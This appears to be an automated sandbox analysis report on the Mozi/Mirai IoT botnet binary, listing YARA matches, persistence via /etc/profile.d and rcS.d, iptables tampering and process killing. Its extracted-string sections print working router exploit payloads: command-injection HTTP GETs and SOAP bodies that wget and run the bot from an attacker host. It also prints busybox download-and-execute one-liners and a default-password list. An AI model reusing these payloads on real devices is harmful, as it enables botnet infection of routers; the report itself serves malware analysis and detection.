Source: .config.14.dr	String found in binary or memory: http://ia.51.la/go1?id=17675125&pu=http%3a%2f%2fv.baidu.com/
Source: networks.14.dr	String found in binary or memory: http://ipinfo.io/ip
Source: alsa-info.sh.14.dr	String found in binary or memory: http://pastebin.ca)
Source: alsa-info.sh.14.dr	String found in binary or memory: http://pastebin.ca/quiet-paste.php?api=$PASTEBINKEY
Source: alsa-info.sh.14.dr	String found in binary or memory: http://pastebin.ca/quiet-paste.php?api=$PASTEBINKEY&encrypt=t&encryptpw=blahblah
Source: Mozi.m.elf, networks.14.dr	String found in binary or memory: http://purenetworks.com/HNAP1/
Source: networks.14.dr	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: networks.14.dr	String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/
Source: Mozi.m.elf, networks.14.dr	String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope//
Source: alsa-info.sh.14.dr	String found in binary or memory: http://www.alsa-project.org
Source: alsa-info.sh.14.dr	String found in binary or memory: http://www.alsa-project.org.
Source: alsa-info.sh.14.dr	String found in binary or memory: http://www.alsa-project.org/alsa-info.sh
Source: alsa-info.sh.14.dr	String found in binary or memory: http://www.alsa-project.org/cardinfo-db/
Source: alsa-info.sh.14.dr	String found in binary or memory: http://www.pastebin.ca
Source: alsa-info.sh.14.dr	String found in binary or memory: http://www.pastebin.ca.
Source: alsa-info.sh.14.dr	String found in binary or memory: http://www.pastebin.ca/upload.php

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 33606
Source: unknown	Network traffic detected: HTTP traffic on port 33606 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 43928 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 42836 -> 443

Source: /tmp/Mozi.m.elf (PID: 6230)

HTML file containing JavaScript created: /usr/networks

Jump to dropped file

System Summary

Malicious sample detected (through community Yara rule)

Source: Mozi.m.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_5c62e6b2 Author: unknown
Source: Mozi.m.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_77137320 Author: unknown
Source: Mozi.m.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_ac253e4f Author: unknown
Source: 6226.1.00007fd22c017000.00007fd22c058000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_5c62e6b2 Author: unknown
Source: 6226.1.00007fd22c017000.00007fd22c058000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_77137320 Author: unknown
Source: 6226.1.00007fd22c017000.00007fd22c058000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_ac253e4f Author: unknown
Source: 6228.1.00007fd22c017000.00007fd22c058000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_5c62e6b2 Author: unknown
Source: 6228.1.00007fd22c017000.00007fd22c058000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_77137320 Author: unknown
Source: 6228.1.00007fd22c017000.00007fd22c058000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_ac253e4f Author: unknown
Source: /usr/networks, type: DROPPED	Matched rule: Linux_Trojan_Mirai_5c62e6b2 Author: unknown
Source: /usr/networks, type: DROPPED	Matched rule: Linux_Trojan_Mirai_77137320 Author: unknown
Source: /usr/networks, type: DROPPED	Matched rule: Linux_Trojan_Mirai_ac253e4f Author: unknown

Source: Initial sample	String containing 'busybox' found: busybox
Source: Initial sample	String containing 'busybox' found: ..%s/%s/proc/haha/tmp/var/lib/dev/syscfgtool set /mnt/jffs2/hw_ctree.xml InternetGatewayDevice.ManagementServer URL "http://127.0.0.1"cfgtool set /mnt/jffs2/hw_ctree.xml InternetGatewayDevice.ManagementServer ConnectionRequestPassword "acsMozi"iptables -I INPUT -p tcp --destination-port 35000 -j DROPiptables -I INPUT -p tcp --destination-port 50023 -j DROPiptables -I OUTPUT -p tcp --source-port 50023 -j DROPiptables -I OUTPUT -p tcp --source-port 35000 -j DROPiptables -I INPUT -p tcp --destination-port 7547 -j DROPiptables -I OUTPUT -p tcp --source-port 7547 -j DROPiptables -I INPUT -p tcp --dport 35000 -j DROPiptables -I INPUT -p tcp --dport 50023 -j DROPiptables -I OUTPUT -p tcp --sport 50023 -j DROPiptables -I OUTPUT -p tcp --sport 35000 -j DROPiptables -I INPUT -p tcp --dport 7547 -j DROPiptables -I OUTPUT -p tcp --sport 7547 -j DROP/mnt/jffs2/Equip.sh%s%s%s%s#!/bin/sh/mnt/jffs2/wifi.sh/mnt/jffs2/WifiPerformance.shbusybox%255s %255s %255s %255s
Source: Initial sample	String containing 'busybox' found: /bin/busybox cat /bin/ls\|head -n 1
Source: Initial sample	String containing 'busybox' found: /bin/busybox hexdump -e '16/1 "%c"' -n 52 /bin/ls
Source: Initial sample	String containing 'busybox' found: /bin/busybox cat /bin/ls\|more
Source: Initial sample	String containing 'busybox' found: "\x%02xsage:/bin/busybox cat /bin/ls\|head -n 1
Source: Initial sample	String containing 'busybox' found: dd bs=52 count=1 if=/bin/ls \|\| cat /bin/ls \|\| while read i; do echo $i; done < /bin/ls \|\| while read i; do echo $i; done < /bin/busybox
Source: Initial sample	String containing 'busybox' found: /bin/busybox dd bs=52 count=1 if=/bin/ls \|\| /bin/busybox cat /bin/ls \|\| while read i; do printf $i; done < /bin/ls \|\| while read i; do printf $i; done < /bin/busybox
Source: Initial sample	String containing 'busybox' found: /bin/busybox chmod 777 .i \|\| (cp /bin/ls .j && cat .i>.j &&rm .i && cp .j .i &&rm .j)
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo -ne '%s' %s .i; %s && /bin/busybox echo -en '%s'
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo '%s' %s .i; %s && /bin/busybox echo '%s'
Source: Initial sample	String containing 'busybox' found: ./.i %d %d %d %d %d;./Runn;/bin/busybox echo -e '%s'
Source: Initial sample	String containing 'busybox' found: >/var/run/.x&&cd /var/run;>/mnt/.x&&cd /mnt;>/usr/.x&&cd /usr;>/dev/.x&&cd /dev;>/dev/shm/.x&&cd /dev/shm;>/tmp/.x&&cd /tmp;>/var/.x&&cd /var;rm -rf i;wget http://%s:%d/i \|\|curl -O http://%s:%d/i \|\|/bin/busybox wget http://%s:%d/i;chmod 777 i \|\|(cp /bin/ls ii;cat i>ii &&rm i;cp ii i;rm ii);./i;/bin/busybox echo -e '%s'
Source: Initial sample	String containing 'busybox' found: >/var/run/.x&&cd /var/run;>/mnt/.x&&cd /mnt;>/usr/.x&&cd /usr;>/dev/.x&&cd /dev;>/dev/shm/.x&&cd /dev/shm;>/tmp/.x&&cd /tmp;>/var/.x&&cd /var;rm -rf i;wget http://%s:%d/bin.sh \|\|curl -O http://%s:%d/bin.sh \|\|/bin/busybox wget http://%s:%d/bin.sh;chmod 777 bin.sh \|\|(cp /bin/ls bix.sh;cat bin.sh>bix.sh;rm bin.sh;cp bix.sh bin.sh;rm bix.sh);sh bin.sh %s;/bin/busybox echo -e '%s'
Source: Initial sample	String containing 'busybox' found: >/var/run/.x&&cd /var/run;>/mnt/.x&&cd /mnt;>/usr/.x&&cd /usr;>/dev/.x&&cd /dev;>/dev/shm/.x&&cd /dev/shm;>/tmp/.x&&cd /tmp;>/var/.x&&cd /var;/bin/busybox echo -e '%s'
Source: Initial sample	String containing 'busybox' found: /bin/busybox wget;/bin/busybox echo -ne '%s'
Source: Initial sample	String containing 'busybox' found: ELF.r.c.x.k.p.s.6.m.l.4>>/bin/busybox chmod 777 .i \|\| (cp /bin/ls .j && cat .i>.j &&rm .i && cp .j .i &&rm .j)>.x/bin/busybox echo -ne '%s' %s .i; %s && /bin/busybox echo -en '%s'
Source: Initial sample	String containing 'busybox' found: me./.i %d %d %d %d %d;./Runn;/bin/busybox echo -e '%s'
Source: Initial sample	String containing 'busybox' found: nvalidailedncorrecteniedoodbyebad$ELFshelldvrdvswelcomesuccessmdm96259615-cdpF6connectedBCM#usernamepass>/var/run/.x&&cd /var/run;>/mnt/.x&&cd /mnt;>/usr/.x&&cd /usr;>/dev/.x&&cd /dev;>/dev/shm/.x&&cd /dev/shm;>/tmp/.x&&cd /tmp;>/var/.x&&cd /var;rm -rf i;wget http://%s:%d/i \|\|curl -O http://%s:%d/i \|\|/bin/busybox wget http://%s:%d/i;chmod 777 i \|\|(cp /bin/ls ii;cat i>ii &&rm i;cp ii i;rm ii);./i;/bin/busybox echo -e '%s'
Source: Initial sample	String containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g %s:%d -l /tmp/huawei -r /Mozi.m;chmod -x huawei;/tmp/huawei huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: Initial sample	String containing 'busybox' found: <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><SOAP-ENV:Body><u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1&qu ot;><NewNTPServer1>`cd /tmp && rm -rf * && /bin/busybox wget http://%s:%d/Mozi.m && chmod 777 /tmp/tr064 && /tmp/tr064 tr064`</NewNTPServer1><NewNTPServer2>`echo DEATH`</NewNTPServer2><NewNTPServer3>`echo DEATH`</NewNTPServer3><NewNTPServer4>`echo DEATH`</NewNTPServer4><NewNTPServer5>`echo DEATH`</NewNTPServer5></u:SetNTPServers></SOAP-ENV:Body></SOAP-ENV:Envelope>

Source: Initial sample	String containing potential weak password found: admin
Source: Initial sample	String containing potential weak password found: default
Source: Initial sample	String containing potential weak password found: support
Source: Initial sample	String containing potential weak password found: service
Source: Initial sample	String containing potential weak password found: supervisor
Source: Initial sample	String containing potential weak password found: guest
Source: Initial sample	String containing potential weak password found: administrator
Source: Initial sample	String containing potential weak password found: 123456
Source: Initial sample	String containing potential weak password found: 54321
Source: Initial sample	String containing potential weak password found: password
Source: Initial sample	String containing potential weak password found: 12345
Source: Initial sample	String containing potential weak password found: admin1234

Source: Initial sample	Potential command found: GET /c HTTP/1.0
Source: Initial sample	Potential command found: GET %s HTTP/1.1
Source: Initial sample	Potential command found: GET /c
Source: Initial sample	Potential command found: GET /Mozi.6 HTTP/1.0
Source: Initial sample	Potential command found: GET /Mozi.7 HTTP/1.0
Source: Initial sample	Potential command found: GET /Mozi.c HTTP/1.0
Source: Initial sample	Potential command found: GET /Mozi.m HTTP/1.0
Source: Initial sample	Potential command found: GET /Mozi.x HTTP/1.0
Source: Initial sample	Potential command found: GET /Mozi.a HTTP/1.0
Source: Initial sample	Potential command found: GET /Mozi.s HTTP/1.0
Source: Initial sample	Potential command found: GET /Mozi.r HTTP/1.0
Source: Initial sample	Potential command found: GET /Mozi.b HTTP/1.0
Source: Initial sample	Potential command found: GET /Mozi.4 HTTP/1.0
Source: Initial sample	Potential command found: GET /Mozi.k HTTP/1.0
Source: Initial sample	Potential command found: GET /Mozi.l HTTP/1.0
Source: Initial sample	Potential command found: GET /Mozi.p HTTP/1.0
Source: Initial sample	Potential command found: GET /%s HTTP/1.1
Source: Initial sample	Potential command found: GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://%s:%d/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0
Source: Initial sample	Potential command found: GET /language/Swedish${IFS}&&cd${IFS}/tmp;rm${IFS}-rf${IFS}*;wget${IFS}http://%s:%d/Mozi.a;sh${IFS}/tmp/Mozi.a&>r&&tar${IFS}/string.js HTTP/1.0
Source: Initial sample	Potential command found: GET /shell?cd+/tmp;rm+-rf+*;wget+http://%s:%d/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws HTTP/1.1
Source: Initial sample	Potential command found: GET /cgi-bin/;cd${IFS}/var/tmp;rm${IFS}-rf${IFS}*;${IFS}wget${IFS}http://%s:%d/Mozi.m;${IFS}sh${IFS}/var/tmp/Mozi.m
Source: Initial sample	Potential command found: GET /board.cgi?cmd=cd+/tmp;rm+-rf+*;wget+http://%s:%d/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+varcron

Source: Mozi.m.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_5c62e6b2 reference_sample = 91642663793bdda93928597ff1ac6087e4c1e5d020a8f40f2140e9471ab730f9, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 39501003c45c89d6a08f71fbf9c442bcc952afc5f1a1eb7b5af2d4b7633698a8, id = 5c62e6b2-9f6a-4c6d-b3fc-c6cbc8cf0b4b, last_modified = 2021-09-16
Source: Mozi.m.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_77137320 reference_sample = 91642663793bdda93928597ff1ac6087e4c1e5d020a8f40f2140e9471ab730f9, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = afeedf7fb287320c70a2889f43bc36a3047528204e1de45c4ac07898187d136b, id = 77137320-6c7e-4bb8-81a4-bd422049c309, last_modified = 2021-09-16
Source: Mozi.m.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_ac253e4f reference_sample = 91642663793bdda93928597ff1ac6087e4c1e5d020a8f40f2140e9471ab730f9, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = e2eee1f72b8c2dbf68e57b721c481a5cd85296e844059decc3548e7a6dc28fea, id = ac253e4f-b628-4dd0-91f1-f19099286992, last_modified = 2021-09-16
Source: 6226.1.00007fd22c017000.00007fd22c058000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_5c62e6b2 reference_sample = 91642663793bdda93928597ff1ac6087e4c1e5d020a8f40f2140e9471ab730f9, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 39501003c45c89d6a08f71fbf9c442bcc952afc5f1a1eb7b5af2d4b7633698a8, id = 5c62e6b2-9f6a-4c6d-b3fc-c6cbc8cf0b4b, last_modified = 2021-09-16
Source: 6226.1.00007fd22c017000.00007fd22c058000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_77137320 reference_sample = 91642663793bdda93928597ff1ac6087e4c1e5d020a8f40f2140e9471ab730f9, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = afeedf7fb287320c70a2889f43bc36a3047528204e1de45c4ac07898187d136b, id = 77137320-6c7e-4bb8-81a4-bd422049c309, last_modified = 2021-09-16
Source: 6226.1.00007fd22c017000.00007fd22c058000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_ac253e4f reference_sample = 91642663793bdda93928597ff1ac6087e4c1e5d020a8f40f2140e9471ab730f9, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = e2eee1f72b8c2dbf68e57b721c481a5cd85296e844059decc3548e7a6dc28fea, id = ac253e4f-b628-4dd0-91f1-f19099286992, last_modified = 2021-09-16
Source: 6228.1.00007fd22c017000.00007fd22c058000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_5c62e6b2 reference_sample = 91642663793bdda93928597ff1ac6087e4c1e5d020a8f40f2140e9471ab730f9, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 39501003c45c89d6a08f71fbf9c442bcc952afc5f1a1eb7b5af2d4b7633698a8, id = 5c62e6b2-9f6a-4c6d-b3fc-c6cbc8cf0b4b, last_modified = 2021-09-16
Source: 6228.1.00007fd22c017000.00007fd22c058000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_77137320 reference_sample = 91642663793bdda93928597ff1ac6087e4c1e5d020a8f40f2140e9471ab730f9, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = afeedf7fb287320c70a2889f43bc36a3047528204e1de45c4ac07898187d136b, id = 77137320-6c7e-4bb8-81a4-bd422049c309, last_modified = 2021-09-16
Source: 6228.1.00007fd22c017000.00007fd22c058000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_ac253e4f reference_sample = 91642663793bdda93928597ff1ac6087e4c1e5d020a8f40f2140e9471ab730f9, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = e2eee1f72b8c2dbf68e57b721c481a5cd85296e844059decc3548e7a6dc28fea, id = ac253e4f-b628-4dd0-91f1-f19099286992, last_modified = 2021-09-16
Source: /usr/networks, type: DROPPED	Matched rule: Linux_Trojan_Mirai_5c62e6b2 reference_sample = 91642663793bdda93928597ff1ac6087e4c1e5d020a8f40f2140e9471ab730f9, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 39501003c45c89d6a08f71fbf9c442bcc952afc5f1a1eb7b5af2d4b7633698a8, id = 5c62e6b2-9f6a-4c6d-b3fc-c6cbc8cf0b4b, last_modified = 2021-09-16
Source: /usr/networks, type: DROPPED	Matched rule: Linux_Trojan_Mirai_77137320 reference_sample = 91642663793bdda93928597ff1ac6087e4c1e5d020a8f40f2140e9471ab730f9, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = afeedf7fb287320c70a2889f43bc36a3047528204e1de45c4ac07898187d136b, id = 77137320-6c7e-4bb8-81a4-bd422049c309, last_modified = 2021-09-16
Source: /usr/networks, type: DROPPED	Matched rule: Linux_Trojan_Mirai_ac253e4f reference_sample = 91642663793bdda93928597ff1ac6087e4c1e5d020a8f40f2140e9471ab730f9, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = e2eee1f72b8c2dbf68e57b721c481a5cd85296e844059decc3548e7a6dc28fea, id = ac253e4f-b628-4dd0-91f1-f19099286992, last_modified = 2021-09-16

Source: classification engine

Classification label: mal100.spre.troj.evad.linELF@0/486@73/0

Persistence and Installation Behavior

Executes the "iptables" command to insert, remove and/or manipulate rules

Source: /bin/sh (PID: 6286)	Iptables executable using switch for changing the iptables rules: /usr/sbin/iptables -> iptables -I INPUT -p tcp --destination-port 41913 -j ACCEPT	Jump to behavior
Source: /bin/sh (PID: 6293)	Iptables executable using switch for changing the iptables rules: /usr/sbin/iptables -> iptables -I OUTPUT -p tcp --source-port 41913 -j ACCEPT	Jump to behavior
Source: /bin/sh (PID: 6300)	Iptables executable using switch for changing the iptables rules: /usr/sbin/iptables -> iptables -I PREROUTING -t nat -p tcp --destination-port 41913 -j ACCEPT	Jump to behavior
Source: /bin/sh (PID: 6305)	Iptables executable using switch for changing the iptables rules: /usr/sbin/iptables -> iptables -I POSTROUTING -t nat -p tcp --source-port 41913 -j ACCEPT	Jump to behavior
Source: /bin/sh (PID: 6311)	Iptables executable using switch for changing the iptables rules: /usr/sbin/iptables -> iptables -I INPUT -p tcp --dport 41913 -j ACCEPT	Jump to behavior
Source: /bin/sh (PID: 6317)	Iptables executable using switch for changing the iptables rules: /usr/sbin/iptables -> iptables -I OUTPUT -p tcp --sport 41913 -j ACCEPT	Jump to behavior
Source: /bin/sh (PID: 6320)	Iptables executable using switch for changing the iptables rules: /usr/sbin/iptables -> iptables -I PREROUTING -t nat -p tcp --dport 41913 -j ACCEPT	Jump to behavior
Source: /bin/sh (PID: 6323)	Iptables executable using switch for changing the iptables rules: /usr/sbin/iptables -> iptables -I POSTROUTING -t nat -p tcp --sport 41913 -j ACCEPT	Jump to behavior
Source: /bin/sh (PID: 6333)	Iptables executable using switch for changing the iptables rules: /usr/sbin/iptables -> iptables -I INPUT -p tcp --destination-port 58000 -j DROP	Jump to behavior
Source: /bin/sh (PID: 6337)	Iptables executable using switch for changing the iptables rules: /usr/sbin/iptables -> iptables -I OUTPUT -p tcp --source-port 58000 -j DROP	Jump to behavior
Source: /bin/sh (PID: 6342)	Iptables executable using switch for changing the iptables rules: /usr/sbin/iptables -> iptables -I INPUT -p tcp --dport 58000 -j DROP	Jump to behavior
Source: /bin/sh (PID: 6366)	Iptables executable using switch for changing the iptables rules: /usr/sbin/iptables -> iptables -I OUTPUT -p tcp --sport 58000 -j DROP	Jump to behavior
Source: /bin/sh (PID: 6373)	Iptables executable using switch for changing the iptables rules: /usr/sbin/iptables -> iptables -I INPUT -p tcp --destination-port 35000 -j DROP	Jump to behavior
Source: /bin/sh (PID: 6376)	Iptables executable using switch for changing the iptables rules: /usr/sbin/iptables -> iptables -I INPUT -p tcp --destination-port 50023 -j DROP	Jump to behavior
Source: /bin/sh (PID: 6382)	Iptables executable using switch for changing the iptables rules: /usr/sbin/iptables -> iptables -I OUTPUT -p tcp --source-port 50023 -j DROP	Jump to behavior
Source: /bin/sh (PID: 6388)	Iptables executable using switch for changing the iptables rules: /usr/sbin/iptables -> iptables -I OUTPUT -p tcp --source-port 35000 -j DROP	Jump to behavior
Source: /bin/sh (PID: 6394)	Iptables executable using switch for changing the iptables rules: /usr/sbin/iptables -> iptables -I INPUT -p tcp --destination-port 7547 -j DROP	Jump to behavior
Source: /bin/sh (PID: 6400)	Iptables executable using switch for changing the iptables rules: /usr/sbin/iptables -> iptables -I OUTPUT -p tcp --source-port 7547 -j DROP	Jump to behavior
Source: /bin/sh (PID: 6406)	Iptables executable using switch for changing the iptables rules: /usr/sbin/iptables -> iptables -I INPUT -p tcp --dport 35000 -j DROP	Jump to behavior
Source: /bin/sh (PID: 6412)	Iptables executable using switch for changing the iptables rules: /usr/sbin/iptables -> iptables -I INPUT -p tcp --dport 50023 -j DROP	Jump to behavior
Source: /bin/sh (PID: 6418)	Iptables executable using switch for changing the iptables rules: /usr/sbin/iptables -> iptables -I OUTPUT -p tcp --sport 50023 -j DROP	Jump to behavior
Source: /bin/sh (PID: 6423)	Iptables executable using switch for changing the iptables rules: /usr/sbin/iptables -> iptables -I OUTPUT -p tcp --sport 35000 -j DROP	Jump to behavior
Source: /bin/sh (PID: 6430)	Iptables executable using switch for changing the iptables rules: /usr/sbin/iptables -> iptables -I INPUT -p tcp --dport 7547 -j DROP	Jump to behavior
Source: /bin/sh (PID: 6436)	Iptables executable using switch for changing the iptables rules: /usr/sbin/iptables -> iptables -I OUTPUT -p tcp --sport 7547 -j DROP	Jump to behavior
Source: /bin/sh (PID: 6443)	Iptables executable using switch for changing the iptables rules: /usr/sbin/iptables -> iptables -I INPUT -p udp --destination-port 28674 -j ACCEPT	Jump to behavior
Source: /bin/sh (PID: 6448)	Iptables executable using switch for changing the iptables rules: /usr/sbin/iptables -> iptables -I OUTPUT -p udp --source-port 28674 -j ACCEPT	Jump to behavior
Source: /bin/sh (PID: 6456)	Iptables executable using switch for changing the iptables rules: /usr/sbin/iptables -> iptables -I PREROUTING -t nat -p udp --destination-port 28674 -j ACCEPT	Jump to behavior
Source: /bin/sh (PID: 6459)	Iptables executable using switch for changing the iptables rules: /usr/sbin/iptables -> iptables -I POSTROUTING -t nat -p udp --source-port 28674 -j ACCEPT	Jump to behavior
Source: /bin/sh (PID: 6462)	Iptables executable using switch for changing the iptables rules: /usr/sbin/iptables -> iptables -I INPUT -p udp --dport 28674 -j ACCEPT	Jump to behavior
Source: /bin/sh (PID: 6465)	Iptables executable using switch for changing the iptables rules: /usr/sbin/iptables -> iptables -I OUTPUT -p udp --sport 28674 -j ACCEPT	Jump to behavior
Source: /bin/sh (PID: 6468)	Iptables executable using switch for changing the iptables rules: /usr/sbin/iptables -> iptables -I PREROUTING -t nat -p udp --dport 28674 -j ACCEPT	Jump to behavior
Source: /bin/sh (PID: 6474)	Iptables executable using switch for changing the iptables rules: /usr/sbin/iptables -> iptables -I POSTROUTING -t nat -p udp --sport 28674 -j ACCEPT	Jump to behavior

Sample reads /proc/mounts (often used for finding a writable filesystem)

Source: /tmp/Mozi.m.elf (PID: 6230)

File: /proc/6230/mounts

Jump to behavior

Sample tries to persist itself using /etc/profile

Source: /tmp/Mozi.m.elf (PID: 6230)	File: /etc/profile.d/cedilla-portuguese.sh	Jump to behavior
Source: /tmp/Mozi.m.elf (PID: 6230)	File: /etc/profile.d/im-config_wayland.sh	Jump to behavior
Source: /tmp/Mozi.m.elf (PID: 6230)	File: /etc/profile.d/gawk.sh	Jump to behavior
Source: /tmp/Mozi.m.elf (PID: 6230)	File: /etc/profile.d/01-locale-fix.sh	Jump to behavior
Source: /tmp/Mozi.m.elf (PID: 6230)	File: /etc/profile.d/apps-bin-path.sh	Jump to behavior
Source: /tmp/Mozi.m.elf (PID: 6230)	File: /etc/profile.d/Z99-cloudinit-warnings.sh	Jump to behavior
Source: /tmp/Mozi.m.elf (PID: 6230)	File: /etc/profile.d/vte-2.91.sh	Jump to behavior
Source: /tmp/Mozi.m.elf (PID: 6230)	File: /etc/profile.d/Z97-byobu.sh	Jump to behavior
Source: /tmp/Mozi.m.elf (PID: 6230)	File: /etc/profile.d/Z99-cloud-locale-test.sh	Jump to behavior
Source: /tmp/Mozi.m.elf (PID: 6230)	File: /etc/profile.d/xdg_dirs_desktop_session.sh	Jump to behavior
Source: /tmp/Mozi.m.elf (PID: 6230)	File: /etc/profile.d/bash_completion.sh	Jump to behavior

Sample tries to persist itself using System V runlevels

Source: /tmp/Mozi.m.elf (PID: 6230)

File: /etc/rcS.d/S95baby.sh

Jump to behavior

Sample tries to set files in /etc globally writable

Source: /tmp/Mozi.m.elf (PID: 6230)	File: /etc/rcS.d/S95baby.sh (bits: - usr: rx grp: rx all: rwx)			Jump to behavior
Source: /tmp/Mozi.m.elf (PID: 6230)	File: /etc/init.d/S95baby.sh (bits: - usr: rx grp: rx all: rwx)			Jump to behavior

Terminates several processes with shell command 'killall'

Source: /bin/sh (PID: 6240)

Killall command executed: killall -9 telnetd utelnetd scfgmgr

Jump to behavior

Source: /tmp/Mozi.m.elf (PID: 6226)	File: /tmp/.ips	Jump to behavior
Source: /tmp/Mozi.m.elf (PID: 6230)	Directory: //run/speech-dispatcher/.cache	Jump to behavior
Source: /tmp/Mozi.m.elf (PID: 6230)	Directory: //home/saturnino/.mozilla	Jump to behavior
Source: /tmp/Mozi.m.elf (PID: 6230)	Directory: //home/saturnino/.cache	Jump to behavior
Source: /tmp/Mozi.m.elf (PID: 6230)	Directory: //home/saturnino/.gnupg	Jump to behavior
Source: /tmp/Mozi.m.elf (PID: 6230)	Directory: //home/saturnino/.config	Jump to behavior
Source: /tmp/Mozi.m.elf (PID: 6230)	Directory: //home/saturnino/.local	Jump to behavior
Source: /tmp/Mozi.m.elf (PID: 6230)	Directory: //etc/.java	Jump to behavior
Source: /tmp/Mozi.m.elf (PID: 6230)	Directory: //etc/.java/.systemPrefs	Jump to behavior
Source: /tmp/Mozi.m.elf (PID: 6230)	Directory: //etc/skel/.config	Jump to behavior
Source: /tmp/Mozi.m.elf (PID: 6264)	Directory: /tmp/.config	Jump to behavior
Source: /tmp/Mozi.m.elf (PID: 6272)	Directory: /tmp/.config	Jump to behavior
Source: /tmp/Mozi.m.elf (PID: 6276)	Directory: /tmp/.ips	Jump to behavior
Source: /tmp/Mozi.m.elf (PID: 6276)	Directory: /tmp/.config	Jump to behavior
Source: /tmp/Mozi.m.elf (PID: 6282)	Directory: /tmp/.config	Jump to behavior

Source: /tmp/Mozi.m.elf (PID: 6226)

Empty hidden file: /tmp/.ips

Jump to behavior

Source: /usr/bin/killall (PID: 6240)	File opened: /proc/6230/stat	Jump to behavior
Source: /usr/bin/killall (PID: 6240)	File opened: /proc/6232/stat	Jump to behavior
Source: /usr/bin/killall (PID: 6240)	File opened: /proc/1582/stat	Jump to behavior
Source: /usr/bin/killall (PID: 6240)	File opened: /proc/3088/stat	Jump to behavior
Source: /usr/bin/killall (PID: 6240)	File opened: /proc/230/stat	Jump to behavior
Source: /usr/bin/killall (PID: 6240)	File opened: /proc/110/stat	Jump to behavior
Source: /usr/bin/killall (PID: 6240)	File opened: /proc/231/stat	Jump to behavior
Source: /usr/bin/killall (PID: 6240)	File opened: /proc/111/stat	Jump to behavior
Source: /usr/bin/killall (PID: 6240)	File opened: /proc/232/stat	Jump to behavior
Source: /usr/bin/killall (PID: 6240)	File opened: /proc/1579/stat	Jump to behavior
Source: /usr/bin/killall (PID: 6240)	File opened: /proc/112/stat	Jump to behavior
Source: /usr/bin/killall (PID: 6240)	File opened: /proc/233/stat	Jump to behavior
Source: /usr/bin/killall (PID: 6240)	File opened: /proc/1699/stat	Jump to behavior
Source: /usr/bin/killall (PID: 6240)	File opened: /proc/113/stat	Jump to behavior
Source: /usr/bin/killall (PID: 6240)	File opened: /proc/234/stat	Jump to behavior
Source: /usr/bin/killall (PID: 6240)	File opened: /proc/1335/stat	Jump to behavior
Source: /usr/bin/killall (PID: 6240)	File opened: /proc/1698/stat	Jump to behavior
Source: /usr/bin/killall (PID: 6240)	File opened: /proc/114/stat	Jump to behavior
Source: /usr/bin/killall (PID: 6240)	File opened: /proc/235/stat	Jump to behavior
